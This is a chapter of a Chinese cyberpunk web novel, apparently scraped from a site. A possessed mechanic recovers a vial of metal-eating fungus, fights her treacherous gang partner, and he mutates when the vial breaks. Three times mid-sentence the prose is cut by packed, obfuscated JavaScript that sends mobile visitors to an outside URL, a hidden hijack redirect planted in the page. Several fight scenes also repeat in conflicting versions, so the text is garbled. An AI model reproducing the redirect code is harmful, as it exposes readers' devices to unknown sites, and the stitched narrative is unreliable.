幽蓝色的系统界面瞬间响应,乖顺地隐入后台。 连映眼前的视野终于清晰起来。 这是一个巨大的、管道纵横的垂直空间回廊。头顶昏暗的穹顶之上,巨大的机械臂如同钢铁巨兽的肋骨般横亘,臂上依稀可见锈迹斑斑的“L1:分拣层”字样。重型机械运作的低频轰鸣声在四面八方响起,顺着脚下的钢铁格栅地板隐约传来,震得脚底发麻。 忽然,一道陌生的男音粗暴地打断了她的观察。 “自己做的?不错嘛!送给我玩玩怎么样?” 话音未落,一只生锈沉重的机械手便蛮横地伸过来,铁钳般的手指一把扣住了她端着枪的手腕,狠狠一扭! “啊——!” 连映听到自己的身体发出了一声吃痛的惊呼。 连映顺着这具身体的目光打量了一圈,大概明白了现在的状况: 她的意识现在似乎正以类似“附身”的形式栖居在一个叫夏雨的年轻女孩身上,她穿着一身创联底层清洁区员工专属的工作服浑身紧绷地躲在一根巨大的冷却管道后面。 她面前正站着一个瘦高、佝偻、一脸阴鸷的男人,右臂和双腿是经过改装的机械义肢,裸露的液压杆上满是陈年的油污和划痕,看着破旧,却透着一股工业化的凶悍。 智能战术目镜自动显出男人的身份:李斯(代号:老鼠),碎铁帮成员。 巨大的力量差距让女孩根本无法反抗老鼠的抢夺,那把她花了大把时间精力做出来的电磁线圈枪,瞬间易主。 “啊!!老鼠你干什么?!” 女孩捂着剧痛的手腕,愤怒地尖叫,身体本能地想要扑上去夺回武器。 “老鼠也是你能叫的?叫李哥!” 李斯毫不客气地将她一掌拍开,熟练地将抢来的略有些沉重的自制枪挎在自己身上。 “你……你又不是没有枪,凭什么抢我的!”夏雨捂着被他打痛的肩膀,气得浑身发抖。前几天,母亲留下的店被碎铁帮以收债的名义抢走,这是她仅剩的东西了。 “什么叫你的?现在是我的了。”李斯冷笑一声,拍了拍自己大腿外侧挂着的那把大口径手炮,又抬起那只沉重的机械右臂,手指几乎戳到了夏雨的护目镜上。 “小丫头,别以为我不知道你在想什么。拿了枪,你是想防着谁?防卫警卫?还是防着我?” 他狞笑着逼近一步,唾沫星子大片喷在夏雨的脸上:“不想被送到窑子里就乖乖听话,不要反抗。今天的行动,老子才是负责杀人的,你只管开门就行。懂吗?” 说着,他挥了挥机械臂,嗡嗡作响的电机声响起,手臂变形为电锯,似乎随时能把夏雨的脑袋切下来。 “要是再敢搞小动作,或者耽误了老子发财,我就把你扔进下面的焚化炉,连子弹都省了。” 形势比人强,夏雨狠狠咬了咬嘴唇,没再作声,但连映能感到,她体内有股灼烧般的怒火和屈辱感越演越烈,像电流一样顺着脊椎直冲天灵盖。 她的恨意太强烈、太刻骨,牙关咬得几乎要碎裂,那种从骨子里透出来的颤抖,深到连映几乎错觉,女孩下一秒就要跳起来向不共戴天的仇人报复。 看她这么激动,是要触发游戏战斗了吗?连映边围观边想,却见系统提示忽地跳了出来: 【触发临时任务:协助载体摆脱生存危机。 任务奖励:共鸣能力盲盒抽奖x1。】 【警告:载体情绪波动异常,即将触发激进行为。】 【推演结果:若发生肢体冲突,存活率<1%。】 【系统提示:共鸣同步率上升10%,达到最低感官同步标准,感官同步开启。】 【注意:若载体死亡,宿主共鸣者095的意识也将遭受重创,最严重可能导致脑死亡。】 “……脑死亡!?”连映不敢置信地对系统抗议,“消极配合居然也不行!?我要退出!你们这样是违法的!” 说实在的,她现在对这个叫夏雨的女孩的遭遇和愤怒不是不能理解,也确实有点同情。但同情贵同情,她说到底只是个看戏的观众,连动动手指都做不到,还被诬陷成了啥杀人犯,凭什么要和身体主人共享危机? 然而,她的抗议如泥牛入海,没有半点回应。 连映又看了一眼系统文字:解决危机的话有个“共鸣能力”盲盒奖励……算了,她也不是见死不救的人,就帮这个看起来甚至都没成年的小姑娘一把吧。 想到这,连映打起精神,迅速扫了一眼局势:李斯抢过枪后,手指并没有离开扳机,那只阴鸷的独眼里甚至带着一丝期待的戏谑,似乎正在等夏雨动手,好名正言顺地解决掉这个“累赘”。 而夏雨……不用说,她对李斯的愤恨已经明显得快要溢出来了。 作为旁观者,连映心头一跳,瞬间明白过来:“老鼠”在钓鱼。 现在夏雨不能冲动,冲动就是送死。 看着夏雨那只已经因充血而发红、即将挥出去的拳头,连映将自己的理智判断,像一盆冰水一样,猛地泼进了这具滚烫的躯壳里。 【冷静点!】连映在意识中向夏雨传递自己的警告,【他在故意诱导你和他动手!】 她不知道这样有没有用,但是她想试试自己的意识到底能否对这具躯体以及躯体主人的意识产生影响。 嗡—— 夏雨心中忽然产生了一种奇妙的感觉,像是心里忽然竖起了一个奇妙的、冷静的警告牌。 随着这种感觉的出现,她原本已经被怒火烧红的视野突然出现了一瞬的清明,一个无比清晰的念头忽然从心底冒了出来:别冲动,他在等你犯错。 夏雨已经抬起的手硬生生僵在半空,理智忽然回笼。 看着面前李斯那只随时能捏碎她喉咙的机械臂,以及他嘴角那抹没来得及收回的残忍笑意,她浑身打了个寒颤,收回手臂,强行将愤恨的冲动压回心底。 “……知道了。” 夏雨低下头,掩住眼中的愤恨,在心里反复告诫自己:形势比人强,她不能冲动,即使要动手,也得找个合适的机会。 李斯在一边有些意外地挑了挑眉,没想到这个平时一点就炸的小野猫今天这么能忍,他还想趁机给她点教训呢。也不知道上面为什么非要把他们俩一块派出来出任务,晦气。 想到这,他不爽地呸了一声,熟练地将抢来的手枪别在腰后,斜乜着眼对眼前带刺的黄毛丫头道: “快去把B3的门打开!主处理区的电弧炉还有三分钟进入冷却循环,是巡逻队换班的唯一空档。” 说完,他转过身,倚在走廊拐角处开始警戒。 【系统提示:由于宿主的意念干预,载体规避死亡节点,X07对您的信任值提升5点。】 【由于信任值提升,您和X-07的同步率微幅上升2%。当前共鸣同步率:12%】 连映在意识深处松了口气。 还好,这丫头虽然冲动,但还没傻透。 但是,刚才那个临时任务并没有显示完成,难道夏雨接下来还会遇到危险? 幕后之人让她经历这一切又是出于什么目的,测试她的道德底线? 连映看着正在低头整理情绪的夏雨,心中升起一点好奇:这两人之间的矛盾,绝对不止是关系恶劣的临时搭档这么简单。搭档需要互相信任才能更好地完成任务,除非……派任务的人另有所图。 有意思。 现在连映倒开始有点期待接下来会发生什么了。 “……” 夏雨平复了一下呼吸,转身走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091502|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向墙壁上的数据端口,咬牙忍耐肩膀被枪托撞击的钝痛,手指飞快地在连接墙壁端口的便携终端上敲击,绿色的代码流随着她的动作刷新。 连映无法控制身体,但能清晰地看到操作界面上的指令: 【目标锁定:L1物流分拣线……指令注入:样本召回……重定向目标:L2-B3隔离舱。】 “搞定。” 半分钟后,夏雨擦了擦鼻尖渗出的冷汗,拔出连接线,“系统显示,那批‘特级生物危害’样本已经被伪装成‘召回检查’件,送进隔离舱了。” “哼,还算有点本事。” 李斯说道,下巴朝走廊尽头那扇标着“B3”字样的厚重铅门扬了扬,“去拿东西。我在外面盯着。” 夏雨压下心头的情绪,转身走向那扇气密门。 “滋——” 随着一声轻微的气压释放声,B3隔离舱的厚重铅门缓缓滑开。 舱内是一个完全无菌封闭、散发着浓厚异味的临时存放区,锈迹斑斑的传送台对着几坨加厚的生物危害处理袋吗,上面印着刺眼的黄色核辐射与生物危害标志。 “就这玩意儿?” 夏雨嫌恶地皱了皱眉,回头看了一眼李斯。 “看什么看?还得老子伺候你?”李斯倚在门口,不耐烦地用机械手指敲了敲门框,发出当当的脆响,“只有两分钟!赶紧把东西找出来!” 夏雨没办法,只能从腰间摸出一把便携折叠刀,忍着恶心,狠狠划开了那个厚重的塑料袋。 “嘶拉——” 随着真空失效,一股浓烈的腥臭味瞬间涌了出来。 “嘶拉——” 随着真空密封失效,一股令人作呕的腥臭味瞬间在狭窄的隔离舱内炸开。 袋子里的东西散落出来:沾满暗红血迹的纱布、断裂的导管、还有各式各样五花八门的不明生物组织切片…… “呕……”夏雨被熏得干呕了一声。 但真正让她——以及寄宿在她体内的连映感到头皮发麻的,是那堆垃圾里的“活物”。 在那堆腐烂的肉块之间,密密麻麻地挤满了无数条白色蛆虫。 连映虽然没法控制身体,但她向来长于观察,感知敏锐,一眼就看出那种蛆虫和普通的相差甚远。 普通的蛆虫是缓慢蠕动的,但这些东西简直就像是上了发条。它们体型比正常的大了一倍,表皮泛着一种诡异的、仿佛沾染了重金属油污般的亮光。 它们正在以一种快进般的恐怖速度疯狂蠕动、翻滚,发出一阵阵令人牙酸的、细密的“沙沙”声。那声音听在连映耳朵里,甚至带有一种躁狂的频率。 不对劲。 连映在意识深处本能地绷紧了神经。 这些虫子的生命体征太亢奋了,那状态,简直像一些磕了药后的癫狂人类。 夏雨现在也恶心得不行,她打了个寒颤,缩了缩手,避开了那团最密集的、正在疯狂啃食橡胶管的蛆虫团。 “快点!别磨蹭!”李斯厌恶地捂着鼻子瞥了一眼垃圾袋里簌簌作响的蛆虫,不耐烦在门口催促,发着红光的义眼在昏暗中警惕地扫来扫去。 “别吵!这堆破烂太多了!” 夏雨咬着牙把戴着加厚防护手套的手颤抖着伸进那堆疯狂蠕动的白肉边缘,心里拼命忍耐那种仿佛有无数虫子在自己身上爬的触觉,指尖在滑腻的触感中摸索。 终于,她触碰到了一个冰冷坚硬的圆柱体。 “找到了!” 夏雨用力一拽,将一个巴掌大的密封透明玻璃瓶拉了出来。 在取出的瞬间,连映注意到,周围那些原本还在疯狂啃食的蛆虫仿佛感应到了某种能量场的波动,竟然瞬间停滞了一秒,随即更加疯狂地朝着玻璃管的方向涌动堆叠。 原来是这东西在影响周围……连映暗自心惊。 “靠,真恶心!” 夏雨在沉降区长大,自然有丰富的观蛆体验。但即便如此,遇上这么大量的加强版蛆虫,她还是像被烫到一样立刻向后跳了好几步,然后才低头查看手里的任务物品。 这是一支密封的透明玻璃瓶,瓶子里充满了暗红色的、如同活物般缓缓蠕动的不明流体,瓶子中央是一枚泛着银灰色微光的金属牌。 夏雨好奇地用手套擦去玻璃表面的不明恶臭黏液,借着应急灯的红光,细细观察那枚金属牌上蚀刻的图案。 这是一个由无数根极细的银色线条构成的漩涡般的眼睛。 在夏雨眼里,这是个相当美丽的图案,那只半闭的眼睛仿佛随着她的注视缓缓睁开了,瞳孔深处的星芒在流淌,散发着一种难以言喻的、温暖而神圣的吸引力。 “好温暖……难怪会里一定要我们找到它……”夏雨有些移不开眼,甚至产生了一种想要顶礼膜拜的冲动。 然而,寄宿在她体内的连映却情不自禁地悚然一震。 “这是——!” 不仅仅是因为生理性排斥,更因为,这个图案,和刚刚审讯时那段诡异浮现的陌生记忆里,易楚生胸口那个发着红光的漩涡状眼睛—— 一模一样。 4. 一模一样的图案 刚才噩梦闪回里,易楚生敞开的胸口上,那团在他皮下过载、燃烧的红色光芒,构成的正是这个让人看一眼就头晕目眩的漩涡般的眼睛。 那个曾在死人身体里发光的恐怖轮廓,此刻竟然变成了冰冷的实体。 它就像是从那段令人战栗迷茫的记忆碎片里掉出来的证物,静静地躺在夏雨的手心里,散发着无声的寒意。 而且,和夏雨不同,在连映看来,这东西根本不是什么神圣的图案。 那银牌表面蚀刻着无数互相吞噬的流体纹路,层层线条以一种极不自然的弧度层层向内卷曲,只需凝视片刻,牌上雕刻的静止浮雕便仿佛化作了缓缓旋转的液态漩涡。 而在漩涡中心,嵌着一枚深红色的晶体,整个图案看起来就像一只由无数银色触须构成的、正在冷冷注视的暗红色竖瞳。 “东西拿到了?” 李斯走了过来:“这就是那些疯子费尽心思想要的东西?就这么一小瓶破烂?呦呵,这个图案我怎么有点眼熟——” 他眼里闪过一抹兴味,伸手就来抢夏雨手里的东西。 夏雨反射性地一躲,脸上挤出一个笑:“别别!李哥,这种累赘哪能让您拿?您可是主力输出,一会儿遇敌还得腾出手来开枪呢!我就是个拎包的,东西放我这,绝不耽误您发挥!” “少废话!老子拿着才安全!” 李斯根本不吃这套,见夏雨动作防备,那只生锈的机械手直接蛮横地抓了过去。 夏雨又一次身手灵活地闪身躲开,却不小心碰倒了身前的垃圾袋,“哗啦”一声,狂躁的蛆虫四散奔逃,一抹幽蓝色的冷光从那堆污秽的烂肉深处显现出来。 两人的动作同时停住了。 沉降区的人都对能卖钱的东西有着本能的敏锐,夏雨和李斯也不例外。 “等等,那是什么?” 李斯先一步反应过来,伸手推开夏雨,弯下腰,那只生锈的机械手不顾脏污,直接伸进那堆还在蠕动的蛆虫里,两根手指精准地夹起了那个蓝色发光的东西。 夏雨不敢和他抢,不甘心地看了过去。 看清那个东西的瞬间,寄宿在她体内的连映怔住了。 那是一枚弯月形胸针。 即便沾染了污秽,底座有些变形,但弯月中央那颗蓝宝石依然在昏暗的红灯下折射出令人心醉的冷冽幽光。 “!!!” 强烈的震惊像电流般瞬间击穿连映的意识。 怎么可能…… 那是她的东西。 或者说,那曾是她的东西。 那是去年生日时闻阗送她的胸针,价格并不贵重,却是专门定制的,没有第二件。前几天提分手时,她已经还给了他。 连映心中疑云翻腾。 它为什么会在这里? 它怎么会出现在创联大厦最底层的、处理剧毒生物废料的垃圾堆里?! 不对,调查官放的那段监控里的人戴的也是这个胸针。 难道闻阗他真的…… “哟,好东西啊。” 李斯吹了声口哨,用满是油污的大拇指用力擦了擦宝石表面,那原本晶莹剔透的宝石被他粗鲁的动作弄得吱嘎作响。 “……” 连映在夏雨的意识里冷冷地看着李斯的动作,心里很是不快。 她很想把东西抢回来,可惜现在她什么都做不了,只能在夏雨体内冷眼旁观,等待时机。 也许是这股负面情绪太过强烈,以至于夏雨感到胸口一阵莫名的发闷。 “成色不错,可惜裂了。公司人就是有钱,这么好的东西说扔就扔。” 李斯贪婪地对着光照了照,“不过,拿回去说不定也能卖几个钱。” “那是……”夏雨下意识地想要开口,也不知道该说什么,但她总觉得,这东西应该归她,而不是老鼠。 “闭嘴。”李斯看都没看她一眼,理所当然地将胸针塞进了自己胸口贴身的战术口袋里。 “这是老子的精神损失费。”他拍了拍胸口,目光又落回夏雨手里的玻璃管上,眼神变得阴狠起来。 “至于这个……” 他伸手抓向夏雨怀里的东西:“拿来。” 夏雨本能地把玻璃管往怀里一缩:“等等,李哥!这是会里的任务物品,柳姨说过必须由会里的人保管……” “去他的会里!” 李斯十分反感地破口大骂,耐心尽失,机械大手直接抓向夏雨的手臂。 就在这时。 “滴——滴——滴——!” 刺耳的警报声突然在回廊深处炸响。紧接着是沉重的机械足音和电子猎犬的狂吠声,正以极快的速度向这边逼近。 “操!巡逻队!” 李斯脸色一变,顾不上抢夺,转身就往外跑。 前面就是岔路口,夏雨下意识地想要往左边的通风管钻——那里窄小,适合她一个人逃生,也能甩掉李斯。 “往哪跑?给老子回来!”李斯虽然在逃命,但余光一直死死盯着夏雨(或者说是她怀里的东西)。见她想分头跑,他猛地伸手,一把薅住夏雨的后领,像拖死狗一样把她拽向右边的通道: “带着老子的钱想去哪?跟着我!少一步老子毙了你!” 前方的机械足音越来越近,左边的路已经被封死了。 夏雨咬牙,看着自己唯一的重火力武器还在李斯手里,只能被迫跟上,两人一前一后在迷宫般的管道里狂奔。 李斯跑在前面,那只装了胸针的口袋随着他的动作晃动,像一根刺扎在连映眼里。 【警告:外部威胁等级上升!载体一旦被捕或死亡,宿主意识将遭受重创,严重可致脑死亡。】 【临时任务更改:协助载体逃离追捕,并摆脱生存危机。 任务奖励:共鸣能力盲盒抽奖x1。】 一连串红色的系统信息在连映眼前疯狂弹窗,连映心头紧张,无暇细看,匆匆关掉。 “这边!” 李斯一脚踹开了一扇锈蚀的铁门,两人冲进了一个巨大的、已经停运的废料粉碎井平台。 然而,冲进去的瞬间,两人都愣住了。 通道尽头是一台已经生锈的废弃物粉碎机,和旁边断崖般的深井。 这是一条死路。 “没路了……”夏雨绝望地后退一步。 身后,巡逻队的脚步声暂时被铁门隔绝在外。 在这个封闭的死角里,空气突然变得死寂。 李斯转过身。 昏暗的应急灯打在他半张金属、半张皮肉的脸上,将那只义眼映得猩红如血。 危机暂时解除,他的贪婪再次占领了高地。 “正好。” 他堵住了唯一的出口,一步步逼近夏雨,嘴角扯开一个恶意的弧度,那只完好的左手再次摊开: “这里信号不好,也没人打扰。把包给我。” 夏雨背靠着冰冷的墙壁,浑身肌肉紧绷,手悄悄伸向了袖口里的电击器:“李哥,还没出去呢。东西沉,我背着就行。” “还要我废话第二遍?” 李斯不耐烦地拔出了那把从夏雨那里抢来的电磁枪,黑洞洞的枪口直指夏雨的眉心。 “小丫头,别以为我不知道你在想什么。在这个队伍里,老子负责杀人,你负责去死。懂吗?” “那是会里要的东西。”夏雨咬着牙,死死护住腰包,“柳姨说过,东西必须由专人……” “柳姨?” 李斯像是听到了什么笑话,嗤笑一声,向前逼近了一步。 狭窄的通道里,他高大的身躯像一堵墙,彻底堵死了夏雨的去路。 “小丫头,你还真以为我会陪你和那群神经病过家家?” 他压低声音,语气里透着毫不掩饰的贪婪: “这可是蚀械菌,黑市上有价无市的硬通货。虽然不知道这一瓶小东西为什么这么贵,但也不关我事,只要把它卖给那帮一定要搞死创联的恐怖分子,够老子换一身顶级的军用义体,再在那帮娘们儿肚皮上滚一辈子。” “至于你?” 李斯狞笑着,枪口抬起,直指夏雨的眉心: “你是为了掩护我,在撤离途中不幸遭遇了意外……连尸体都被冲进了下水道。多感人啊。” 唉,果然是这样。 连映在心里叹了口气。 典型的黑吃黑剧本。 夏雨的呼吸急促起来,眼中渐渐浮现隐藏已久的憎恨与狠色。 “想要?” 她盯着李斯,手慢慢伸向腰包,“行,我给你。” 李斯得意地眯起眼,就在他伸手的瞬间—— “做梦去吧!” 夏雨一声暴喝,手腕猛地一翻! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091503|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “滋啦——!” 夏雨伸进腰包的手猛地抽出! 她手里并没有拿那个装蚀械菌的玻璃管,而是握着一根经过非法改装的高压过载探针,那是她修机械用的吃饭家伙。 “去死吧!!” 夏雨一声暴喝,不退反进,像只发狠的野猫,狠狠将探针插向李斯机械臂的外部伺服接口! 那是老型号义体的通病——接口防护薄弱。只要插进去,瞬间的高压电流就能瘫痪这只手。 “啪!” 一声脆响。 探针扎进去了。蓝色的电火花爆闪。 然而,李斯并没有像夏雨预想的那样惨叫瘫痪。他的机械臂只是僵硬了一瞬,发出几声刺耳的电流音,随即恢复了运转。 “呵……” 李斯低头看着扎在手臂上的探针,又抬头看着满脸惊愕的夏雨,眼神像在看一只试图咬死大象的蚂蚁。 “小丫头,这招对付外面的混混还行。但我这只手……可是军用级的绝缘涂层。” 他猛地一挥手。 “砰!” 夏雨直接被甩飞出去,重重撞在墙上。 “给脸不要脸!”李斯暴怒,杀意四溢。 夏雨顾不上剧痛,狼狈地爬起来,在李斯拔枪的瞬间,从包里摸出两枚磁吸附式微型爆雷,甩手掷向李斯! “轰!轰!” 爆炸声不算剧烈,也并没有击中李斯,但产生的冲击波和碎片成功阻滞了李斯的脚步,也引爆了旁边几个脆弱的废弃容器,各种零件和黏液四散飞溅。 “没招了?”李斯毫发无伤地啐了一口掺着灰尘的唾沫,步步紧逼,枪口再次抬起。 夏雨咬咬牙,从包里迅速掏出作为最后退路的强光爆震球,狠狠砸在地上! “砰!!!” 刺目的白光在狭窄的通道里瞬间炸裂,伴随着足以震破耳膜的高频噪音。 “啊——!操!” 李斯的电子义眼虽然有强光过滤,但这种近距离的爆闪还是让他出现了短暂的视觉过载,视野里瞬间一片雪白。他惨叫一声,下意识地扣动了扳机。 “砰!砰!” 子弹在狭窄的空间里乱飞,打在墙壁上溅起一串串火花。 借着这一瞬的混乱,夏雨像只受惊的猫,就地一滚,从李斯的身侧钻了过去,疯了一样向道路尽头冲了过去。 “雕虫小技!” 李斯在烟雾中带着怒意跟在身后,凭借加强的听觉模块,朝着夏雨后退的方向连续开枪! “砰!砰!” 子弹穿透烟雾,打在金属壁上溅起火花。 夏雨捂着被流弹擦伤流血的手臂在迷宫般的管道里狂奔,身后传来李斯暴怒的咆哮和沉重的机械足音,肩胛和背部火烧火燎地痛。 其实夏雨心里清楚,自己的装备和身手对付街头的混混绰绰有余,但在李斯这种经验丰富的帮派清道夫面前,根本不够看。 但即使如此,她本来也不会这么被动,可惜最重要的武器已经被他抢走了,她只能奋力一搏。 死亡的恐惧像毒蛇一样噬咬着她的心脏,但更多的是不甘。 凭什么?凭什么她们这种人就该被当成耗材? 夏雨站在护栏边,看着李斯一步步走过来,义眼还流着冷却液,显然刚才那一下让他受损不轻,但这让他看起来更加狰狞恐怖。 “跑啊?接着跑啊?” 他步步紧逼,将夏雨逼到墙角。 “我可以把东西给你。”夏雨忽地开口道。 她冷冷地看着李斯,脸上的怯懦不知何时消失了,变成一种带着愤恨的冷静。 李斯愣了一下,这眼神让他感觉很不舒服,就像是原本盯着的一只兔子突然露出了獠牙。 夏雨嘴角勾起一抹冷笑,手慢慢伸向腰包。 李斯得意地眯起眼,就在他伸手的瞬间—— “做梦去吧!!” 夏雨一声暴喝,手腕猛地一翻! “滋啦——!” 她手里并没有拿那个装蚀械菌的玻璃管,而是握着一根经过非法改装的高压过载探针。 那是她平时修重型机械用的吃饭家伙,被她改成了能瞬间释放十万伏特高压的杀人利器。 夏雨不退反进,像只终于亮出利爪的野猫,狠狠将探针插向李斯机械右臂的外部接口! 5. 蚀械菌 “啪!” 一声脆响,蓝色的电火花爆闪。 因为常年帮助母亲维修碎铁帮成员那些乱七八糟义体,夏雨知道,只要插进去,瞬间的高压电流就能瘫痪这只手,甚至烧坏他的神经中枢。 然而,事实却不如她预想的那般顺利。李斯的机械臂只是僵硬了一瞬,随即恢复了运转。 夏雨眼睛瞬间睁大:“不可能!你怎么——?” “我怎么没事?呵……” 李斯低头看着扎在手臂护甲上的探针,轻蔑地扯了扯嘴角。 “小丫头,你的情报过期了。我这只手可是新换的军用级的绝缘涂层。” 他猛地一挥手。 “砰!” 夏雨直接被机械臂的怪力甩飞出去,重重撞在栏杆上。 “给脸不要脸!”李斯暴怒,杀意四溢,拔出了那把从夏雨那里抢来的电磁线圈枪。 夏雨顾不上剧痛,狼狈地爬起来。但她没有逃,而是再次展现出了机械师的狠辣。她在李斯抬枪的瞬间,从包里摸出两枚磁吸附式微型爆雷——这是她用废弃矿山□□改的。 “尝尝这个!!” 她甩手将爆雷掷向李斯左右两侧的金属墙壁! “轰!轰!” 爆炸声在狭窄的通道里震耳欲聋。 虽然这种□□炸不死穿护甲的李斯,但冲击波和飞溅的金属碎片成功干扰了他的瞄准,也让他下意识地护住了头脸。 趁着这个间隙,夏雨捂着流血的手臂,疯了一样冲向通道深处的死角——那座巨大的废弃粉碎机旁。 “没招了吧?” 烟尘散去,李斯几乎毫发无伤地走了出来,啐了一口唾沫,眼里的戏谑变成了残忍的杀意。他一步步逼近,将夏雨堵在了粉碎机和悬崖栏杆之间。 “身手不怎么样,阴人的工具倒是挺多。” 李斯举起枪,直指夏雨的眉心,“可惜,在绝对的力量面前,你那些破铜烂铁就是笑话。” 身前是枪口,身后是深渊,夏雨退无可退,喘着粗气,眼底的愤恨变成孤注一掷的绝望。既然杀不了他,那就谁都别想好过! 她猛地把手伸进腰包的防震夹层,一把抓出了那支冰冷的玻璃密封管。 “别过来!!” 夏雨高举着那支装着暗红色粘液的管子,声音尖利:“再过来一步,我就砸了它!咱们谁也别想活!” 李斯的脚步猛地一顿,看着那个价值连城的瓶子,他投鼠忌器,不得不垂下枪口。 “……冷静点。”李斯停下脚步,脸上堆起一个虚假的安抚笑容:“丫头,别冲动。把它摔了,你我都得喝西北风,还得被碎铁帮追杀。值得吗?” 他一边说,一边极其缓慢地摊开双手,示意自己没有恶意。 “把东西给我。我发誓,拿到钱分你三成……不,四成!你想想你那死鬼老妈欠的债……” “闭嘴!”夏雨尖叫道,“退后!退到那个阀门后面去!把枪踢过来!” “好,好,我退……” 李斯假装后退了半步,身体重心微微后移。 就在夏雨眼神因高度紧张而稍微松懈的一瞬间。 “滋——!” 李斯那条改装过的机械右腿突然发出电机加压的尖锐鸣响,爆发出惊人的力量,他整个人像一颗出膛的炮弹,五米的距离眨眼即至! 他根本没打算谈判,也没打算开枪。他要凭借义体绝对的速度和力量,直接把人拿下! “拿来吧你!!” 李斯狰狞的脸瞬间贴到了面前,那只强有力的机械手像铁钳一样狠狠抓向夏雨手上的瓶子。他太自信了,自信凭他的速度,能在拿到瓶子的瞬间,顺手捏碎她的骨头。 可惜,事实也并不如他所想。 “那就谁都别想要!!” 就在李斯扑过来的同时,夏雨身子一斜,借着李斯扑过来的巨大惯性,死命把手里的东西往旁边那台生锈的重型粉碎机上一磕—— “啪!!!” 清脆的碎裂声在空旷的深井中回荡,宛如地狱大门的铃音。 李斯抓了个空。 那支价值连城的玻璃管狠狠撞击在钢铁外壳上,瞬间粉碎。 “嘶——” 暗红色的粘液飞溅而出,在接触空气的瞬间发生了剧烈的汽化反应,像一团浓重的暗红色血雾像有生命的触手一样瞬间炸开,淋了李斯一腿,也溅到旁边那堆生锈的机械零件上。 “蠢货!你他妈疯了?这东西值多少钱你知道吗?” 极度的贪婪瞬间转化为极度的暴怒。李斯双目赤红,咆哮着抡起那只沉重的机械右臂,对着失去平衡的夏雨就是狠狠一记摆拳。 “砰!” 夏雨像个破布娃娃一样被直接抽飞了出去,重重地摔进了几米开外的一座工业垃圾山里,那堆废弃缓冲泡沫和烂电线虽然缓冲了大部分冲击力,但巨大的震荡还是让她浑身如同散了架般,头晕目眩,剧痛不已。 “哼,下一拳就是你的死期!” 李斯正想补刀,忽然异变陡生! “咕叽——滋滋——” 一阵令人毛骨悚然的、仿佛千万只蚂蚁啃食骨头的细密声响,突然从李斯脚边响起。 李斯低头一看,脸色瞬间变了。 接触到空气的瞬间,那暗红色的粘液仿佛被什么东西无形催化,仿佛被注入了狂暴的生命力,骤然沸腾起来! 无数菌丝像炸开的线虫一样疯长,它们贪婪地钻进了那堆腐烂的垃圾里,也贪婪地钻进李斯那条昂贵的机械腿的缝隙里! “啊——!!” 李斯突然发出一声惨叫。 他惊恐地发现,自己的机械腿竟然“活”了! 在那滩飞溅的暗红色液体中,令人毛骨悚然的一幕发生了。 那些菌丝正在疯狂吞噬义体内的电路和合金,将其转化为某种半生物半机械的扭曲组织,并顺着神经接口,疯狂地向他的大腿根部、向他的□□蔓延! 李斯的右腿瞬间膨胀了一倍,无数根暗红色的血管缠绕在生锈的液压杆上,像是有生命的肌肉在搏动。 “这……这是什么鬼东西?!” 夏雨跌坐在地上,惊恐地向后挪动。 在她眼中,这根本不符合任何机械原理或生物常识。那条腿正在“吃人”,也在“吃铁”。 寄宿在体内的连映也被这一幕惊到了,强烈的生理性反胃让她(和夏雨)几乎要呕吐出来。 【警告:检测到高活性生物侵蚀源!】 【警告:目标正在发生不可逆变异!】 系统突然跳出来,在连映脑海中尖锐示警。 “变异……李斯变成怪物了!” 连映看过关于“蚀械菌”的文章,那东西据说是一种嗜金属、嗜电的真菌,本质上是一种极难清除且传播极快的真菌类生物武器,对血肉无感,对人体无害,是联邦和北盟大战时的产物。 可眼前这玩意儿,好像什么都能吞噬……她瞠目结舌地看着眼前突变的克系恐怖片场景,目光落到地上的金属牌上。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091504|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不知怎的,连映感觉到它似乎正在散发形的波,隐隐引导、催化着那些狂暴的暗红色菌丝随波起舞! 那个金属牌……可能是个增幅器!连映心里猜测道。 “滚开!滚出我的身体!!” 李斯疯了般地咆哮,他试图用手去抓挠那条腿,但手指刚碰到菌丝,就被狠狠地黏住、腐蚀,剧痛让他的理智彻底崩断。 他猛地抬起头,那只仅剩的独眼里充满了布满红血丝的疯狂与怨毒,死死锁定了不远处的夏雨。 “是你……是你害我!!” 此刻他尚未失去理智,反而是力量暴涨的快感压倒了痛觉,使他处于一种极度亢奋的杀戮状态,脸上青筋暴起,瞳孔因为过度的肾上腺素分泌而缩成针尖大小,嘴角挂着不受控制的涎水,但眼神却死死锁定了夏雨。 “咚!咚!咚!” 那是李斯的脚踏在地上的声音,缓慢、沉重却极其有力! 